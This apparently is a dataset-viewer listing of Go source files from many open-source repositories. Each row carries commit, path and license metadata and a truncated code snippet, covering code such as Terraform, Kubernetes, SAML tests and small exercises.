88020779e8cefe3ce2452f62df19995844879fe6 | 5ae3d9e381e1e936eb49e4406286016265a37705 | yu-fish/terraform-provider | /alicloud/resource_alicloud_vswitch.go | Go | go | 5,154 | permissive | package alicloud
import (
"fmt"
"github.com/denverdino/aliyungo/common"
"github.com/denverdino/aliyungo/ecs"
"github.com/hashicorp/terraform/helper/resource"
"github.com/hashicorp/terraform/helper/schema"
"log"
"time"
)
func resourceAliyunSubnet() *schema.Resource {
return &schema.Resource{
Create: resourc... |
a7b24abc89f99e4913f36d81e38267eb99df77b7 | 104f6876d3d7b2eec93b20429b5192b48d084e9a | erikstmartin/virtual-kubelet | /vendor/github.com/hyperhq/hypercli/distribution/metadata/v1_id_service_test.go | Go | go | 2,341 | permissive | package metadata
import (
"io/ioutil"
"os"
"testing"
"github.com/hyperhq/hypercli/layer"
)
func TestV1IDService(t *testing.T) {
tmpDir, err := ioutil.TempDir("", "v1-id-service-test")
if err != nil {
t.Fatalf("could not create temp dir: %v", err)
}
defer os.RemoveAll(tmpDir)
metadataStore, err := NewFSMe... |
366c0d9b03c10324edeb5c0efc4617d8825caf06 | 0ce95a7a9a3177e1a62ebbe5a3088b30d356410c | bdshadow/kubernetes-client-android | /kubernetes-model/vendor/k8s.io/kubernetes/pkg/api/resource/helpers.go | Go | go | 4,930 | permissive | /**
* Copyright (C) 2015 Red Hat, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or... |
2ee6d79fe8b59d0d9aa0ad8a9a03fbfaafe2fc9e | d7f0bc7cb256b7697b53cc5529f437dcff1055e8 | universe-10th/calculus | /models/model.go | Go | go | 2,610 | no_license | package models
import (
"github.com/universe-10th/calculus/expressions"
"github.com/universe-10th/calculus/errors"
"github.com/universe-10th/calculus/sets"
)
// Just a mapping of variables and the
// model they are used into, as arguments.
type ModelFlowMapping struct {
variables expressions.Variables
modelFlow... |
07105a93dddb59679df13f44206207b18e9b62b7 | 0ebd31f6879169d8f9dd1abad1d2d8e22c9d7f2e | ecsantana76/burrow | /execution/evm/abi/core.go | Go | go | 6,054 | permissive | package abi
import (
"fmt"
"os"
"path"
"path/filepath"
"github.com/hyperledger/burrow/deploy/compile"
"github.com/hyperledger/burrow/execution/errors"
"github.com/hyperledger/burrow/logging"
)
// Variable exist to unpack return values into, so have both the return
// value and its name
type Variable struct {
... |
b024384ab43010bd80c5af87180c3953bbf44632 | de9b384cb5148e517b7ad752a4cb3fc36f38f8a3 | tomeeek911/training2 | /05-part-exercises/8and9.go | Go | go | 368 | no_license | package main
import "fmt"
func main() {
x := map[string][]string{
`bond_james`: []string{`not stirred`, `martinies`, `women`},
`mm`: []string{`james_bond`, `literature`, `computer science`},
`no_dr`: []string{`being evil`, `ice cream`, `sunsets`},
}
fmt.Println(x)
x[`tomasz`] = []string{`29`}
... |
0e0d8e5bd4ba8134d020a3f8f0e0ba1b402adbe7 | f0315f70ec2ebbcf9a9b81b12faef6cb8492d00e | zhangymPerson/Think-in-java-note | /bookcode/goproject/channel/channel1.go | Go | go | 571 | permissive | package main
import (
"fmt"
)
var (
//管道关键字 chan
intChan chan int = make(chan int, 10)
resChan chan map[int]int = make(chan map[int]int, 20)
)
//初始化管道
func initInt(max int) {
for i := 0; i < max; i++ {
intChan <- i
}
close(intChan)
}
//测试管道
func testGoroutine() {
n := <-intChan
res := make(map[in... |
9cb30b6af1e42d0109a8ac02e75a8a70869fb96c | 673810e59550aef130e6352ce05d83e8230e5f00 | bsandusky/leetcode | /singleNumber/singleNumber_test.go | Go | go | 333 | no_license | package singleNumber
import (
"testing"
)
var tts = []struct {
in []int
out int
}{
{in: []int{2, 2, 1}, out: 1},
{in: []int{4, 1, 2, 1, 2}, out: 4},
}
func TestSingleNumber(t *testing.T) {
for _, tt := range tts {
got := singleNumber(tt.in)
if got != tt.out {
t.Errorf("Expected: %d, Got: %d", tt.out, g... |
2831d7d4077d974ad6473facb70ca9aeaba7a02b | 789713012adccf13a55ff8e57b55ba7fe951ff38 | kubernetes/kubernetes | /staging/src/k8s.io/code-generator/cmd/deepcopy-gen/args/args.go | Go | go | 1,815 | permissive | /*
Copyright 2016 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
12f0385295da02c498a01a6dbe6ec2ea7e8b953c | 211de8e3362932d09e6feb0386eb8a1333cd9b39 | hi-im-aren/pipeline | /api/npls.go | Go | go | 6,122 | permissive | // Copyright © 2019 Banzai Cloud
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to ... |
d0776b5e062915213452070f1c39b55d288329f0 | d726b5479b1142b31f8b32996f6c56c733ff0f55 | kostty/carbonapi | /expr/functions/changed/function.go | Go | go | 2,114 | permissive | package changed
import (
"fmt"
"github.com/bookingcom/carbonapi/expr/helper"
"github.com/bookingcom/carbonapi/expr/interfaces"
"github.com/bookingcom/carbonapi/expr/types"
"github.com/bookingcom/carbonapi/pkg/parser"
"math"
)
type changed struct {
interfaces.FunctionBase
}
func GetOrder() interfaces.Order {
... |
cce8c7d4186d677bf79dbd6be25bcc79dd4af328 | 9b443ee138237fd8841f09091bfa3356d297d87d | marvell/downloader | /downloader_test.go | Go | go | 860 | no_license | package downloader
import (
"os"
"path"
"testing"
"time"
)
const (
rightUrl = "http://download.geonames.org/export/dump/countryInfo.txt"
wrongUrl = "http://download.geonames.org/export/dump/countryInfo.txt_wrong"
)
func TestSaveToTempFile(t *testing.T) {
file, err := New(rightUrl).SaveToTempFile()
if err != ... |
70bead4d2d37716a47b19c15586576c33d1b6984 | 5c2332c80a51f432e0258c680468042362999421 | you06/tidb | /expression/scalar_function.go | Go | go | 18,472 | permissive | // Copyright 2016 PingCAP, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to i... |
d674efac26079d0429736490e6ddbdf67ec70eec | fadfd1aa78271d3a26f7716d9ed640bd478d0a18 | WinPooh32/giu | /Popups.go | Go | go | 1,539 | permissive | package giu
import (
"github.com/AllenDang/imgui-go"
)
func OpenPopup(name string) {
imgui.OpenPopup(name)
}
func CloseCurrentPopup() {
imgui.CloseCurrentPopup()
}
var _ Widget = &PopupWidget{}
type PopupWidget struct {
name string
flags WindowFlags
layout Layout
}
func Popup(name string) *PopupWidget {
... |
0be9e24ae06fd568845509142f67847d9a6b757a | f5e4dba4c8f65e0e46b02ac4ce44ee4aa60afbd9 | twitchyliquid64/nexus | /src/nexus/data/user/apps.go | Go | go | 7,284 | no_license | package user
import (
"context"
"database/sql"
"encoding/json"
"errors"
"nexus/data/dlock"
"nexus/data/util"
"strconv"
"time"
)
// Different kinds of external apps.
const (
ExternAppURLKind = 0
ExternAppJWTKind = 1
)
// ExternalAppsTable (ext_apps) implements the databaseTable interface.
type ExternalAppsT... |
bfe089b72d58b670d91e44dec8e40f9f7d898b65 | 13a4ee18e155d50300a7890b37df425fefb7a9ca | kv4sha/golang-mongodb-docker | /clients/config/config.go | Go | go | 566 | no_license | package config
import (
"encoding/json"
"log"
"os"
)
type Configuration struct {
Server string
MongoDbURL string
DestinationsServiceURL string
SourcesServiceURL string
}
var appConfig = &Configuration{}
var configPath = "config/config.json"
func GetConfig() Configuration {
... |
631048ad4416a80d029f0d3b49f2dd68579526de | 701ec37e658c6c6a12b56e9a7e57c77541bf007b | yuanlixg/qlang | /qlang/mime/mime-go15.go | Go | go | 289 | permissive | // +build go1.5
package mime
import (
"mime"
qlang "qlang.io/spec"
)
func init() {
Exports["BEncoding"] = mime.BEncoding
Exports["QEncoding"] = mime.QEncoding
Exports["extensionsByType"] = mime.ExtensionsByType
Exports["WordDecoder"] = qlang.StructOf((*mime.WordDecoder)(nil))
}
|
620ba6c3acfab2e6525613f3423f877d467d5ee5 | cd377cba5123af86f9c0a52c91db054fcca84fc1 | jabbottable/HackerRank | /HackerRank/Preparation/RecursionAndBacktracking/FibonacciNumbers.go | Go | go | 274 | no_license | package main
import "fmt"
func fibonacci(n int) int {
if n == 0 {
return 0;
}
if n == 1 {
return 1;
}
return fibonacci(n - 1) + fibonacci(n - 2)
}
func main() {
var n int
fmt.Scanf("%d\n", &n)
fmt.Println(fibonacci(n))
}
|
8547dbd5705ec2706a9084401d877775675bc180 | c614761320a7b1d87ff08f0c451d13fb4ca32748 | ReevesAk/dcrdata | /stakedb/chainmonitor.go | Go | go | 5,332 | permissive | // Copyright (c) 2018, The Decred developers
// Copyright (c) 2017, Jonathan Chappelow
// See LICENSE for details.
package stakedb
import (
"context"
"fmt"
"sync"
"github.com/decred/dcrd/chaincfg/chainhash"
"github.com/decred/dcrd/dcrutil"
"github.com/decred/dcrd/wire"
"github.com/decred/dcrdata/txhelpers/v2"... |
831eed3b5323995434b11159d895b223ee834d03 | e6d975486b3283c6f158520867740efa1bd9e397 | 2uasimojo/elasticsearch-operator | /pkg/k8shandler/migrations/migrations_test.go | Go | go | 2,450 | permissive | package migrations
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/openshift/elasticsearch-operator/pkg/elasticsearch"
"github.com/openshift/elasticsearch-operator/test/helpers"
"sigs.k8s.io/controller-runtime/pkg/client/fake"
)
var _ = Describe("Running", func() {
defer GinkgoRecove... |
01693fef013a5b0e11035a0b129d043e2453aa6e | aadf7316a2f0b17ef6302e4a58faa1d95e98b0e4 | salaboy/eventing-kafka | /test/e2e/channel_chain_test.go | Go | go | 826 | permissive | //go:build e2e
// +build e2e
/*
Copyright 2019 The Knative Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law... |
c6cfaa4d8dd07bdf9461ba32e9a9f9e44b61206b | c3d081893e5decaf6036618b55670af3a6f39ebb | kouyalong/go-web-learning | /src/second/2.6.go | Go | go | 2,815 | permissive | package main
import (
"fmt"
"reflect"
"strconv"
)
type Human2 struct {
name string
age int
phone string
}
type Student2 struct {
Human2
school string
loan float32
}
type Employee2 struct {
Human2
company string
money float32
}
func (h Human2) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s \n"... |
5ad15582533dc989f2fc40dfb40e39afa9d6496f | 23c3998ecb138407cd881aa6a87aad445ce5d676 | anxp/Go-Learning | /triangle-struct.go | Go | go | 3,076 | no_license | package main
import (
"errors"
"fmt"
"math"
"os"
)
//Struct, which describes triangle properties. Our triangle defined by three sides.
type Triangle struct {
sideA, sideB, sideC float64
}
//This is a setter for all 3 triangle sides
func (t *Triangle) SetSides(a, b, c float64) {
t.sideA = a
t.sideB = b
t.side... |
5f3a9713dec3e182609dae6c4cfaa778711948d9 | 7bf5bb59c82818062f37fdfb9268af4c724dd49b | FactomWyomingEntity/prosper-pool | /stratum/server_test.go | Go | go | 3,909 | no_license | package stratum_test
import (
"bufio"
"context"
"encoding/json"
"net"
"testing"
"time"
. "github.com/FactomWyomingEntity/prosper-pool/stratum"
"github.com/spf13/viper"
"github.com/stretchr/testify/require"
)
func serverAndClient(t *testing.T) (s *Server, miner *Client, srv net.Conn, cli net.Conn) {
require... |
8ea204edf0fe69028bcaff45c5e22135f5f4d89b | 4264ac4b2772469d678544411af737d33451bbbc | oschmid/appenginetesting | /context.go | Go | go | 7,510 | permissive | // +build !appengine
// Copyright 2011 Google Inc. All rights reserved.
// Use of this source code is governed by the Apache 2.0
// license that can be found in the LICENSE file.
// This file changed by Takuya Ueda from http://code.google.com/p/gae-go-testing/.
// Package appenginetesting provides an appengine.Conte... |
24a26009559f3e99d8b2094015428552725332e4 | 1c814b639c800357c144f1140f69816d7a04e197 | dna2fork/sourcegraph | /enterprise/cmd/frontend/internal/auth/saml/middleware_test.go | Go | go | 16,649 | permissive | package saml
import (
"bytes"
"compress/flate"
"context"
"crypto"
"crypto/x509"
"encoding/base64"
"encoding/pem"
"encoding/xml"
"io"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"testing"
"time"
"github.com/beevik/etree"
"github.com/crewjam/saml"
"github.com/crewjam/saml/samlidp"
"github.com... |
ad940254afde92fd0956f3545e5224813a996d1a | 847dedd56e5f4ec8371e8e32ce6115c51fd93aad | CA2528357431/go-base | /project007/src/main/main.go | Go | go | 365 | no_license | // 输入
package main
import "fmt"
func main() {
var(
name string
age int
judge bool
)
fmt.Scanln(&name)
fmt.Scanln(&age)
fmt.Scanln(&judge)
// 遇到回车终止
fmt.Println(name+"帅哥",age+2,judge)
var(
name1 string
age1 int
judge1 bool
)
fmt.Scanf("%s %d %t", &name1,&age1,&judge1)
fmt.Println(name1+"帅哥",... |
cef5e5171c44f6efc7e99ccdc206ee664e58a762 | dbe764334398083df0c171703dc1dc5934e8da68 | michael-doubez/alertmanager_systray | /alertmanager_systray.go | Go | go | 3,867 | permissive | // Copyright 2019 The alertmanager_systray Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or... |
3cf97b1d528a271e0f0f036c9ff7c2ccca3e75cc | b52dab8abaf35c9a3567389f2d1169195a76ab0e | awsassets/headless-cms | /api/handlers/role_create.go | Go | go | 685 | permissive | package handlers
import (
"github.com/Xzya/headless-cms"
apimodels "github.com/Xzya/headless-cms/gen/models"
"github.com/go-openapi/runtime/middleware"
"github.com/Xzya/headless-cms/gen/restapi/operations/role"
)
func MakeCreateRoleHandler(s cms.Service) role.CreateRoleHandlerFunc {
return func(params role.Creat... |
9332b269766c98cda93fef5a8acfa07acc46869d | ff15317c9824a244c3b4a3990777682a5784bc00 | scalzadonna/buildpacks | /builders/gae/dotnet3/acceptance/acceptance_test.go | Go | go | 2,320 | permissive | // Copyright 2020 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
4a729b16e22b16a4842612a1586595789d8f35bc | c4e23575d961649e0c5e777656dc41b32c029bc9 | chriserin/tern | /Godeps/_workspace/src/github.com/JackC/pgx/example_value_transcoder_test.go | Go | go | 1,399 | permissive | package pgx_test
import (
"fmt"
"github.com/JackC/pgx"
"regexp"
"strconv"
)
var pointRegexp *regexp.Regexp = regexp.MustCompile(`^\((.*),(.*)\)$`)
type Point struct {
x float64
y float64
}
func (p Point) String() string {
return fmt.Sprintf("%v, %v", p.x, p.y)
}
func Example_customValueTranscoder() {
pgx.V... |
6f796b8b124c6ef66484bcc5c28181be3c32d5fc | 9467471500e1cd8f01d7c9e9ee9072e0c8e74ad8 | scholzj/kubernetes | /staging/src/k8s.io/apiserver/pkg/admission/configuration/validating_webhook_manager_test.go | Go | go | 1,403 | permissive | /*
Copyright 2017 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, ... |
eefd97215e523103be21ce8551d5a6a7bd58a983 | 428febb2357bcbd65dbb04de8569a24ba18e580d | djwhatle/apb | /cmd/registry.go | Go | go | 7,166 | permissive | //
// Copyright (c) 2018 Red Hat, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agree... |
9be87016cffd248d83d45fd7012d3b1a4edce855 | be1b34cb4515e92c3011e96853f34695e5820c77 | ixuzhi/gostudy | /gobyexample/structs/structs.go | Go | go | 446 | permissive | package main
import "fmt"
type person struct {
name string
age int
}
func main() {
fmt.Println("vim-go")
fmt.Println(person{"bob",20})
fmt.Println(person{name:"bobo2",age:18})
fmt.Println(person{name:"bob3"})
fmt.Println(&person{name:"bob4",age:19})
s := person{name:"bob5",age:21}
fmt.Println(s)
sp := &s
... |
377aaa07ae288e3334d800408efcf4a081f7a2af | 8a31ed67e5d0f5914b0f19cdb95e25141f9394f3 | jochil/scabov | /analyzer/history.go | Go | go | 4,787 | no_license | package analyzer
import (
"fmt"
"github.com/jochil/scabov/vcs"
)
type FunctionHistory struct {
Name string
File string
lifetime int
changes int
removed bool
latestHash string
firstComplexity int
latestComplexity int
firstSize int
latestSize ... |
027aeae961cde88df35c20d99b07a2e6b74a3dcd | ca00ef3eca0b5e83608e8d9ca69726455dbf2627 | parallel2333/istio | /pilot/pkg/model/authorization.go | Go | go | 9,384 | permissive | // Copyright 2018 Istio Authors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to i... |
56a0ace92dd086f3d6d286f5400e756290040d86 | 34b64f3c0acf02f5e8451537dda482335cc3584a | huoxue1/sillyGirl | /core/store.go | Go | go | 1,558 | no_license | package core
import (
"fmt"
"strconv"
"github.com/boltdb/bolt"
)
var sillyGirl Bucket = NewBucket("sillyGirl")
var db *bolt.DB
type Bucket string
var Buckets = []Bucket{}
func NewBucket(name string) Bucket {
b := Bucket(name)
Buckets = append(Buckets, b)
return b
}
func init() {
var err error
db, err = b... |
669a89e6bdbf7bac29f0d9886160e2d6b120d020 | aad25bca73e54c5de0ec2f9fa42dbcfa49502262 | grahamwhaley/runtime | /vendor/github.com/dlespiau/covertool/sort.go | Go | go | 1,531 | permissive | // Copyright (c) 2017 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or ag... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.